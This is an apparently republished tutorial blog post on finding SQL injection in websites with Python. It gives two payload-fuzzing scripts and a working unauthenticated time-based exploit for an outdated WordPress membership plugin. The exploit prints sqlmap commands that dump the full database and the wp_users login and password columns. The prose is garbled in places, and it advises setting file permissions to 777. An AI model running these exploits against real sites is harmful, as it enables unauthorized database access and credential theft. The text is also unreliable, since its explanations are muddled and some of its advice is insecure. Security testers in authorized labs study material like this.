Test website for SQL injection vulnerabilities using Python

Quick overview

Field	Detail
Topic	url
Guide	Test website for SQL injection vulnerabilities using Python
Tags	url, print, vulnerable, target, request, sql
Length	About 1006 words
Practice rule	Authorized labs only — stay ethical

Hi hope you are having wonderful day so if you are interesting in learning as you injections and your interest in exploiting web…

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Test website for SQL injection vulnerabilities using Python

Hi hope you are having wonderful day so if you are interesting in learning as you injections and your interest in exploiting web application databases to the script and help you to understand injection using python.

I have make the spaceship that will help you to understand how SQL injections for.

As you can see the script is using Python request library. I have make already one complete basic level request understanding in Python for penetration testing.

The input function that we have use in this area it is for locating the file where is different parameters for SQL injections.

Disclaimer:

Using any kind of malicious script that harm someone or try to MAKE changes someone privacy is a crime. Should we make sure whenever you are trying to use any kind of script for someone you have permission from owner.

Using such kind of script that use request method and forcing DNS.

Because using request have methods can alert firewalls and it can block your networks and totally block your IP address which may cause different kind of problems.

import requests

# Specify the base URL of your website
base_url = 'https://www.example.com'

# Specify the vulnerable parameter to test for SQL injection
vulnerable_param = 'id'

# Read the payloads from a text file
with open('payloads.txt', 'r') as file:
    payloads = file.read().splitlines()

# Iterate through the payloads and test for SQL injection
for payload in payloads:
    url = f'{base_url}?{vulnerable_param}={payload}'
    response = requests.get(url)

    # Check the response for signs of a successful SQL injection
    if 'Error' in response.text or 'Invalid query' in response.text:
        print(f"Possible SQL injection detected with payload: {payload}")

vulnerable Parameters:

A vulnerable_param is a part of a website’s URL that can be manipulated to exploit security flaws like SQL injection by inputting malicious code. you can use different type of parameters that also can help you to exploit. the fallowing types of Parameters can help you to user stand Batter.

Example of parameters:

Here’s a list of vulnerable parameters commonly found in web applications:

1. id
   2. username
   3. password
   4. email
   5. search
   6. category_id
   7. product_id
   8. page
   9. sort
   10. language
   11. country
   12. city
   13. zipcode
   14. address
2. Don’t forget that if you are going to post a page it may have different conditions, these are samples that have been used differently within different pages. Changing the value may give you a different answer.

install PIP and request :

pip install requests do remember that i will use request . if you don't have request library i will make issue.

Use Different Petameters :

vulnerable_params = ['id', 'username', 'category_id']  # List of vulnerable parameters

import requests

base_url = 'https://www.mysirte.com'
vulnerable_params = ['id', 'username', 'category_id']  # List of vulnerable parameters

with open('payloads.txt', 'r') as file:
    payloads = file.read().splitlines()

for param in vulnerable_params:
    print(f"Testing parameter: {param}")
    for payload in payloads:
        url = f'{base_url}?{param}={payload}'
        response = requests.get(url)

        if response.status_code == 200:  # Only process valid responses
            if 'Error' in response.text or 'Invalid query' in response.text:
                print(f"Possible SQL injection detected with payload: {payload}")
    print("------------------")

Example 2 :

this script is and Advance version of Python scripts that can help you to find best ven isssue in WordPress , Using Request + SQLMAP .

import sys
import requests

def get_request(target_url, delay="1"):
    payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -"
    data = {'rest_route': '/pmpro/v1/order',
            'code': payload}
    return requests.get(target_url, params=data).elapsed.total_seconds()

print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n')
if len(sys.argv) != 2:
    print('Usage: {} www.xxxxx.com'.format("python3 dbe.py"))
    print('Example: {} http://127.0.0.1/wordpress'.format("python3 db-ven.py"))
    sys.exit(1)

target_url = sys.argv[1]
try:
    print('[-] Testing if the target is vulnerable...')
    req = requests.get(target_url, timeout=15)
except:
    print('{}[!] ERROR: Target is unreachable{}'.format(u'\033[91m', u'\033[0m'))
    sys.exit(2)

if get_request(target_url, "1") >= get_request(target_url, "2"):
    print('{}[!] The target does not seem vulnerable{}'.format(u'\033[91m', u'\033[0m'))
    sys.exit(3)
print('\n{}[*] The target is vulnerable{}'.format(u'\033[92m', u'\033[0m'))
print('\n[+] You can dump the whole WordPress database with:')
print(
    'sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump'.format(
        target_url))
print('\n[+] To dump data from specific tables:')
print(
    'sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users'.format(
        target_url))
print(
    '\n[+] To dump only WordPress usernames and passwords columns (you should check if users table have the default name):')
print(
    'sqlmap -u "{}/?rest_route=/pmpro/v1/order&code=a" -p code --skip-heuristics --technique=T --dbms=mysql --batch --dump -T wp_users -C user_login,user_pass'.format(
        target_url))
sys.exit(0)

Use on window in Linux:

If you want use this quiet on Linux you need to understand one thing there are few things that is very important. You must have Python install on your operating system. The file permission should be on 777.

If you cannot install Linux on separate device. I would like to recommend you use Linux as the sub operating system using this method can release your half burden from your system. useless resources then using Linux on virtual machine.

The script is still in under construction with the senior Developers and collaboration should be needed as soon as possible we will bring new version we will let you know on medium.

We are happy to announce that in this year we are going to launch our first biggest project for cybersecurity learners and penetration testers.

Frequently asked questions

What is this guide about url?

Test website for SQL injection vulnerabilities using Python explains practical, ethical notes on url. Use it as a structured walkthrough — then practice only in authorized labs.

Who is this url article for?

Readers who want clear, street-level guidance on url without hype. Beginners and intermediate practitioners both benefit.

How do I practice url safely?

Stay in scope: systems you own or have written permission to test. Keep notes, verify findings, and never attack live targets without authorization.